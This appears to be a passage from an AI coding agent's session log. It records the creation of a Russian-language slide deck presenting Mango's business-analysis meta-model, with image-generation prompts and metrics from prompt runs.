\"tool_result\",\n[2026-09-29T07:49:33.568Z] [INFO]         \"content\": \"File created successfully at: /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md (file state is current in your context \u2014 no need to Read it back)\"\n[2026-09-29T07:49:33.568Z] [INFO]       }\n[2026-09-29T07:49:33.568Z] [INFO]     ]\n[2026-09-29T07:49:33.568Z] [INFO]   },\n[2026-09-29T07:49:33.568Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:33.568Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:33.568Z] [INFO]   \"uuid\": \"c7e74219-2927-4d8b-8f0d-76f311a2ee55\",\n[2026-09-29T07:49:33.568Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:32.756Z\",\n[2026-09-29T07:49:33.568Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:49:33.568Z] [INFO]     \"type\": \"create\",\n[2026-09-29T07:49:33.568Z] [INFO]     \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:49:33.568Z] [INFO]     \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u043b\u0430\u0439\u0434\u044b\\n\\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044e \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\nMango. \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u2014 \u0441\u043b\u0430\u0439\u0434\u044b. \u0423\u0441\u0442\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u0430\u0439\u0434\u0430\u043c\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b\\n\u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u2014 \u0432\\n[\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u043e\u0431\u043e\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442.\\n\\n## \u041a\u0430\u043a \u0441\u043e\u0431\u0440\u0430\u043d \u043f\u0430\u043a\u0435\u0442\\n\\n- **Assertion-Evidence.** \u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0441\u043b\u0430\u0439\u0434\u0430 \u2014 \u0437\u0430\u043a\u043e\u043d\u0447\u0435\u043d\u043d\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435\\n  \u043c\u043e\u0436\u043d\u043e \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. \u0422\u0435\u043b\u043e \u2014 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e: \u0441\u0445\u0435\u043c\u0430, \u0447\u0438\u0441\u043b\u043e \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0430, \u0430 \u043d\u0435\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430.\\n- **\u041e\u0434\u0438\u043d \u0441\u043b\u0430\u0439\u0434 \u2014 \u043e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c.** 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u043e\u0434\u043d\u0430 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430. \u0412\u0441\u0451, \u0447\u0442\u043e\\n  \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f, \u0443\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0438\u043b\u0438 \u0432 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n- **\u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0435\u0441\u0442\u044c \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0433\u0434\u0435 \u043e\u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430. \u0427\u0438\u0441\u043b\u0430 \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442 \u043d\u0435 \u043f\u043e\u043f\u0430\u043b\u0438.\\n- **\u0421\u0442\u0430\u0442\u0443\u0441 \u043d\u0435 \u0437\u0430\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f.** \u0414\u043b\u044f \u044d\u0442\u0430\u043f\u043e\u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u0438 \u0441\u0440\u0435\u0434 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442,\\n  \u0447\u0442\u043e \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u0438 \u0447\u0442\u043e \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \u0414\u043b\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f\\n  \u043f\u0435\u0440\u0435\u043e\u0446\u0435\u043d\u043a\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0434\u043e\u0440\u043e\u0436\u0435, \u0447\u0435\u043c \u0447\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n- **\u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430:** \u0445\u0430\u043e\u0441 \u0441\u044b\u0440\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0438\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438.\\n\\n### \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u044b\u043c \u0431\u043b\u043e\u043a\u0430\u043c \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438\\n\\n| \u0411\u043b\u043e\u043a \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 | \u0421\u043b\u0430\u0439\u0434 |\\n| --- | --- |\\n| \u2014 (\u0442\u0438\u0442\u0443\u043b) | 1 |\\n| 1. \u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f | 2 |\\n| 2. \u0411\u043e\u043b\u044c | 3 |\\n| \u2014 (\u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0430: \u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u043e\u0434\u0435\u043b\u0438) | 4 |\\n| 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | 5 |\\n| 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 | 6 |\\n| 5. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 | 7 |\\n| 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f | 8 |\\n| 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 | 9 |\\n| \u2014 (\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b) | 10 |\\n\\n\u0421\u043b\u0430\u0439\u0434 4 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0441\u0432\u0435\u0440\u0445 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438: \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0440\u044b\u0432 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 6 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\\n\u0442\u0435\u0437\u0438\u0441, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0432\u044b\u0432\u043e\u0434 \u0438\u0437 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n### \u0415\u0434\u0438\u043d\u044b\u0439 \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0442\u0438\u043b\u044c \u0434\u043b\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n\\n\u0412\u0441\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043d\u0438\u0436\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043d\u0430 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u043e\u043c: \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u043f\u043e\u043d\u0438\u043c\u0430\u044e\u0442 \u0435\u0433\u043e\\n\u0442\u043e\u0447\u043d\u0435\u0435. \u041a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0449\u0438\u043c \u0441\u0442\u0438\u043b\u0435\u0432\u044b\u043c \u0441\u0443\u0444\u0444\u0438\u043a\u0441\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0441\u043b\u0430\u0439\u0434\u044b\\n\u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u043e\u0434\u043d\u0430 \u0441\u0435\u0440\u0438\u044f:\\n\\n```text\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n\u0414\u043b\u044f Midjourney \u0434\u043e\u0431\u0430\u0432\u044c\u0442\u0435 `--ar 16:9 --style raw`; \u0434\u043b\u044f DALL-E \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\\n1792\u00d71024. \u041d\u0430\u0434\u043f\u0438\u0441\u0438 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f: \u0442\u0435\u043a\u0441\u0442 \u0441\u043b\u0430\u0439\u0434\u0430 \u043d\u0430\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f\\n\u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435, \u0438\u043d\u0430\u0447\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0438\u0441\u043a\u0430\u0437\u0438\u0442 \u043a\u0438\u0440\u0438\u043b\u043b\u0438\u0446\u0443.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u041f\u043e\u0434\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a:** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango: \u043e\u0442 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 \u0441 fail-closed \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439.\\n\\n- \u041e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026.\\n- 69 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c v0.4: 11 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, 4 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, 3 \u0433\u0435\u0439\u0442\u0430.\\n- \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0432\u0435\u043a\u0442\u043e\u0440 \u2014 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0435 \u044f\u0434\u0440\u043e.\\n\\n> **\u041a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043c\u044b\u0441\u043b\u044c:** \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c \u0435\u0433\u043e\\n> \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA chaotic cloud of loose paper notes, chat bubbles and voice waveforms\\non the left flows through a precise geometric gate in the centre and\\nleaves on the right as a neat stack of identical, bound specification\\ndocuments, each linked by thin lines back to its source note.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n[\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0411\u043b\u043e\u043a 1. \u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f.**\\n\\n- \u041a\u043b\u0438\u0435\u043d\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435\u043c; \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u2014 \u0422\u0417, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443\\n  \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0432 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0435.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441 42 \u0430\u043d\u0430\u043b\u043e\u0433\u0430\u043c\u0438 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c.\\n- \u041a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441: \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435, \u0430 \u043d\u0435 \u043f\u0440\u0430\u0432\u043a\u043e\u0439\\n  \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438: \u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\\n  \u0430\u043d\u0430\u043b\u0438\u0437 \u2192 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u2014 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c,\\n> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447 \u00ab\u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0421\u0410 \u2192\\n\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u2192 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0441 \u0442\u043e\u0447\u043a\u0430\u043c\u0438, \u0433\u0434\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA relay race of four stylised figures passing a glowing document baton\\nalong a long corridor of server racks and contract folders; at every\\nhand-off a few fragments of the baton drift away into the dark.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Mango](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0411\u043b\u043e\u043a 2. \u0411\u043e\u043b\u044c.** \u0424\u0430\u043a\u0442\u044b \u0438\u0437 \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0432\u0441\u0435\u0445 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts`.\\n\\n- 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b `M-1 = 0.0`.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c: \u0432 RUN-0015 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u044b \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\\n  NFR (5 \u043c\u0438\u043d, 100 \u043c\u0441, 2 \u0441, 24/7) \u2014 \u0432\u0441\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 